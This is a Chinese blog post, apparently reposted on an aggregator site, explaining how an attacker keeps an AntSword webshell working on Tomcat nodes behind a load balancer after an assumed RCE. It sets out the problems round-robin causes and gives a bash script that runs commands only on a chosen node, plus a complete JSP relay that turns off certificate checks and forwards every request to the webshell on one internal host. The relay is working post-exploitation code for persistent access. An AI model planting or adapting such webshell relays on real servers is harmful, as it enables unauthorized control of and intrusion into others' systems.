负载均衡下的webshell

这篇具有很好参考价值的文章主要介绍了负载均衡下的webshell。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.场景描述

当前手里有一个以docker部署的Tomcat负载均衡环境。主机对外ip和端口为192.168.100.130:18080

负载均衡下的webshell,负载均衡,运维我们假设其为一个真实的业务系统,存在一个rce漏洞,可以让我们获取webshell
假设目标根目录下已经有了自己上传的木马文件ant.jsp

2.在蚁剑里添加 Shell

负载均衡下的webshell,负载均衡,运维测试能够成功是因为我在两个节点均上传了木马文件,但实际场合可能不止一两台,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,所以需要注意的一点就是需要将每一台节点的相同位置都上传同样的木马文件

3.因为负载均衡而出现的问题

负载均衡下的webshell,负载均衡,运维

问题1:正如上述所说,一旦负载均衡开始轮循,而轮循到的主机没有木马则会断开,解决方法很简单,因为已经有了上传木马的漏洞,故只需要需要将每一台节点的相同位置都上传同样的木马文件

问题2:因为两个节点不断交替,所以我们在执行命令时,无法知道下次的请求交给哪台机器去执行

问题3:当我们需要在服务器上上传一些工具时,可能传到一半就切换到了另一台服务器,毕竟是采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,最后只能两个服务器均得到一部分残缺文件

问题4:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

4.问题解决方案

4.1 方案1

关掉其中一台服务
本次实验中是关掉1台服务器,但放到现实中恐怕要关掉几台几十台服务器才能完成只保留一台机器的目的,虽然能达成解决问题的目的,但造成的影响恐怕有点大,真实环境千万别试

4.2 方案2

写一个判断机器的脚本,如果是自己想要操作的机器就执行,不是就不执行

myip=`hostname -i | awk '{print $2}'`
if [ $myip == "127.0.0.1" ];then
        echo "Node1. I will execute command.\n======\n"
        hostname -i
else
        echo "Other. Try again."
fi

差不多是这样的模式,但它只能解决命令执行问题

4.3 方案3

在web层做一次流量转发
所有流量转发到一台机器上
负载均衡下的webshell,负载均衡,运维
转发脚本命令如下

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

不能用上传文件可能会有分片,只能选择新建再保存

负载均衡下的webshell,负载均衡,运维

多保存几次保证两台服务器上均有文件
负载均衡下的webshell,负载均衡,运维然后用转发脚本重新登录
负载均衡下的webshell,负载均衡,运维
最后结果无论访问到哪台机器均会转发至172.0.0.2文章来源地址https://www.toymoban.com/news/detail-668837.html

到了这里,关于负载均衡下的webshell的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Nginx反向代理实现负载均衡webshell

    目录 本实验所用的环境: 问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件 问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一

    2024年02月04日
    浏览(46)
  • webshell实践,在nginx上实现负载均衡

    我采用了三台虚拟机进行服务器设置:192.168.240.11、192.168.240.12、192.168.240.13           

    2024年02月12日
    浏览(37)
  • 解决nginx的负载均衡下上传webshell的问题

    目录 环境 问题 访问的ip会变动      执行命令的服务器未知  上传大文件损坏 深入内网 解决方案 ps :现在已经拿下服务器了,要解决的是负载均衡问题, 以下是docker环境: 链接: https://pan.baidu.com/s/1cjMfyFbb50NuUtk6JNfXNQ?pwd=1aqw 提取码: 1aqw 在/root/AntSword-Labs-master/loadbalance/loadbalan

    2024年02月11日
    浏览(33)
  • 安全中级3-nginx反向代理负载均衡的webshell

    目录 一、负载均衡 1.nginx的负载均衡 2.nginx 支持的几种策略: 二、负载均衡下的webshell连接(负载均衡下的wenbshell环境下载地址) 1.内部网络的结构 2.场景描述 3.利用我们的中国蚁剑连接我们的代理服务器nginx 三、webshell遇到的难点(重点) 1.我们需要在每台机器上都要上传相同

    2024年02月06日
    浏览(61)
  • 大数据云计算运维之Nginx反向代理与负载均衡

    一、Nginx概述 1.1 概述 Nginx(“engine x”)是一个高性能的 HTTP /反向代理的服务器及电子邮件(IMAP/POP3)代理服务器。 官方测试nginx能够支撑5万并发,并且cpu,内存等资源消耗却非常低,运行非常稳定。最重要的是开源,免费,可商用的。 Nginx还支持热部署,几乎可以做到7 *

    2024年02月11日
    浏览(58)
  • 【运维】第03讲(上):Nginx 负载均衡常见架构及问题解析

    实际上 Nginx 除了承担代理网关角色外还会应用于 7 层应用上的负载均衡,本课时重点讲解 Nginx 的负载均衡应用架构,及最常见的问题。 Nginx 作为负载均衡是基于代理模式的基础之上,所以在学习本课时前,你需要对 Nginx 的代理、负载均衡的基本原理及 Nginx 负载均衡配置有

    2024年02月16日
    浏览(55)
  • 小白到运维工程师自学之路 第三十九集 (HAproxy 负载均衡) 一、概述

            HAProxy是一款高性能的负载均衡软件,可以将来自客户端的请求分发到多个服务器上,以提高系统的可用性和性能。HAProxy支持多种负载均衡算法,包括轮询、加权轮询、最少连接数等。同时,HAProxy还支持会话保持、健康检查、SSL终止等功能,可以满足不同场景下的

    2024年02月09日
    浏览(58)
  • 第五次作业 运维高级 构建 LVS-DR 集群和配置nginx负载均衡

    1、基于 CentOS 7 构建 LVS-DR 群集。 LVS-DR模式工作原理 首先,来自客户端计算机CIP的请求被发送到Director的VIP。然后Director使用相同的VIP目的IP地址将请求发送到集群节点或真实服务器。然后,集群某个节点将回复该数据包,并将该数据包直接发送到客户端计算机(不经过direct

    2024年02月14日
    浏览(50)
  • 蚂蚁群优化算法在JavaScript环境下的实现与在负载均衡调度中的应用

    在我们的日常生活中,我们可以看到蚂蚁通过寻找食物并返回蚁巢的过程,展现出了一种非常高效的搜索策略。这种策略在计算机科学中被引入,并被称为蚁群算法。蚁群算法是一种群体智能优化算法,它模拟了蚂蚁寻找食物的行为,从而实现了全局优化的目标。在本文中,

    2024年02月15日
    浏览(64)
  • 运维圣经:Webshell应急响应指南

    目录 Webshell简介 Webshell检测手段 Webshell应急响应指南 一. Webshell排查 二. 确定入侵时间 三. Web日志分析 四. 漏洞分析 五. 漏洞复现 六. 清除Webshell并修复漏洞 七. Webshell防御方法 Webshell通常指以JSP、ASP、 PHP等网页脚本文件形式存在的一种服务器可执行文件,一般带有文件操作

    2024年02月09日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包